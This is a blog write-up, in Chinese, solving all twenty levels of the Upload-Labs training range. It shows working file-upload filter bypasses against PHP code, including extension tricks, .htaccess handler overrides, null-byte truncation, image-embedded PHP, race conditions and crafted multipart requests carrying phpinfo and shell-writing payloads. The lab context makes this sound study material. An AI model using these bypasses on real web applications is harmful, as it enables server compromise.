Back

UploadLab WriteUp

The writeup of UploadLab.

Upload-Labs

Info.php 代码为

<?php
    phpinfo();
?>

Pass-01

随便上传一个 shell 发现回显

该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php

发现是个前端检查,改成.jpg绕过,用 burp 抓包再改成.php即可

Pass-02

上传 info.php 发现回显

提示:文件类型不正确,请重新上传! 

抓包将修改上传文件字段:

Content-Type: image/jpeg

Pass-03

上传 info.php 发现回显

提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! 

黑名单绕过,将后缀名改成

filename="shell.php5"

apache 的httpd.conf中有如下配置代码

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

Pass-04

上传 info.php 发现回显

此文件不允许上传!

但是上传一个图片发现是没有改文件名的。看代码发现几乎所有能用的后缀名都进了黑名单,唯独没有.htaccess,于是我们可以上传.htaccess,文件内容如下

SetHandler application/x-httpd-php

可以将当前目录下所有文件都当作 php 文件处理,这时候传个改了后缀的 php 文件就好

Pass-05

虽然.htaccess被过滤了,但是审计代码发现转换大小写,可以用大小写绕过

filename="info.PHP"

Pass-06

发现少了trim()函数,没有进行去空处理,后缀加个空格就好了

filename="info.php "

Pass-07

发现没有去除末尾的点,所以我们可以用info.php.来绕过,在 windows 环境下,会自动去掉后缀名中最后的.

Pass-08

发现没有去除::$DATA,可以在末尾添加::$DATA,这个在 windows 环境下也会解析。

Pass-09

这里用info.php. .绕过,注意中间有一个空格。

$file_name = trim($_FILES['upload_file']['name']);	//info.php. .
$file_name = deldot($file_name);//删除文件名末尾的点		//info.php.空格

if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];	
    $img_path = UPLOAD_PATH.'/'.$file_name;			// UPLOAD_PATH/.info.php.空格
}

同样,windows 环境下自动忽略末尾的.与空格

Pass-10

置换了关键字,可以双写绕过,但是注意顺序,例如info.pphphp,因为phphpp这样会置换第一个php为空,就形成了后缀.hpp

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

从源代码可以发现,虽然用了白名单模式,但是我们可以控制上传路径,利用CVE-2015-2348进行 00 截断

漏洞影响版本必须在5.4.x<= 5.4.39,5.5.x<= 5.5.23,5.6.x <= 5.6.7

POST /Pass-11/index.php?save_path=../upload/test.php%00 HTTP/1.1
Host: localhost:8002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8002/Pass-11/index.php
Content-Type: multipart/form-data; boundary=---------------------------1397349150366000458976532598
Content-Length: 356
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------1397349150366000458976532598
Content-Disposition: form-data; name="upload_file"; filename="info.jpg"
Content-Type: text/php

<?php
phpinfo();
?>
-----------------------------1397349150366000458976532598
Content-Disposition: form-data; name="submit"

上传
-----------------------------1397349150366000458976532598--

Pass-12

只是把11中的路径改成了$_POST['save_path'],方法无异

Pass-13

找几个 png 、 jpg 或者 gif 图片直接用echo "<?php phpinfo();?>" >> xxx.jpg就可以做成图片马了,直接用文件包含漏洞即可

Pass-14

和13一样,只不过13 check 前面两字节的数据头,14用了以下代码更为严格,但是我们用13的方法是在图片末尾追加的代码段,整个图片还是个完整的图片没有被破坏,也就绕过了检测

$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

Pass-15

同14关

Pass-16

详细参考upload-labs之pass 16详细分析

这里考察的是二次渲染的绕过,用 GIF 绕过会相对比较简单,直接在GIF98a下面加入 php 代码即可

Pass-17

比较典型的条件竞争

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

从代码看,因为先移动文件到 upload 文件夹然后判断后缀再删除,是可以通过一定的时间差来访问自己上传的文件导致写入 shell 的。可以上传

<?php file_put_contents("shell.php","<?php phpinfo();?>");?>

这样只要一次访问成功该 php 文件,即可拿到 shell

Pass-18

与17问题类似,在移动后再改名可能被会有条件竞争的漏洞

// if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

讲道理这里我看很多师傅用的是传图片马,但是需要利用到文件包含,而作者意思我觉得肯定不是这样的,否则用竞争来干嘛?直接传个图片马不就好了,反正最后都会返回文件名。

这里个人觉得预期解是通过 Apache 解析漏洞来配合条件竞争利用的。

​ Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

所以我们传个.php.7z为后缀的文件,再通过条件竞争去访问这个文件就可以写入 shell 了。

Pass-19

利用pathinfo的特性绕过

var_dump(pathinfo("/testweb/test.txt/.",PATHINFO_EXTENSION));
string(0) ""
var_dump(pathinfo('/testweb/test.php\00.jpg',PATHINFO_EXTENSION));
string(3) "jpg"

当然也可以利用\00绕过,move_uploaded_file会忽略后面的.jpg

Pass-20

源代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

这里主要是利用了一个endcount的函数特性,根据 php 文档

​ end

(PHP 4, PHP 5, PHP 7)

end — 将数组的内部指针指向最后一个单元

​ count

(PHP 4, PHP 5, PHP 7)

count — 计算数组中的单元数目,或对象中的属性个数

这里我们就看得更清楚了,end取的是最后一个元素,无论下标是什么,而count($arr)-1取的是下标为为最后的元素,例如下面这段代码

<?php
$arr = array("0"=>"jpg", "2"=>"php", "1"=>"jpg");
var_dump(end($arr));
var_dump($arr[count($arr) - 1]);

string(3) "jpg"
string(3) "php"

我们创建了一个数组,数组顺序不是按照寻常的顺序的,我们故意把最后一个元素排在了前面一位的话,这样end就取到了jpg后缀,这样我们就可以利用$_POST[save_name]来绕过最后后缀检测了

POST /Pass-20/index.php?action=show_code HTTP/1.1
Host: localhost:8002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8002/Pass-20/index.php?action=show_code
Content-Type: multipart/form-data; boundary=---------------------------137136829317924008472127919060
Content-Length: 617
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="upload_file"; filename="info.jpg"
Content-Type: image/gif

<?php
phpinfo();
?>
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="save_name[1]"

upload-20.php
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="save_name[0]"

jpg
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="submit"

上传
-----------------------------137136829317924008472127919060--

这里需要注意的是,save_name[0]jpg就好了,否则$ext拿到的是upload-20.jpg,这样整个字符串就会进入!in_array($ext, $allow_suffix)这个判断里面了。

Conclusion

这个靶场还是挺好的,总结得都相当不错。如果能配合更多的中间件解析漏洞来做的话会更棒,因为很多时候我们做到的仅仅是上传一个 jpg 啥的,如果配合解析漏洞或者文件包含,可以进一步扩大杀伤力。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy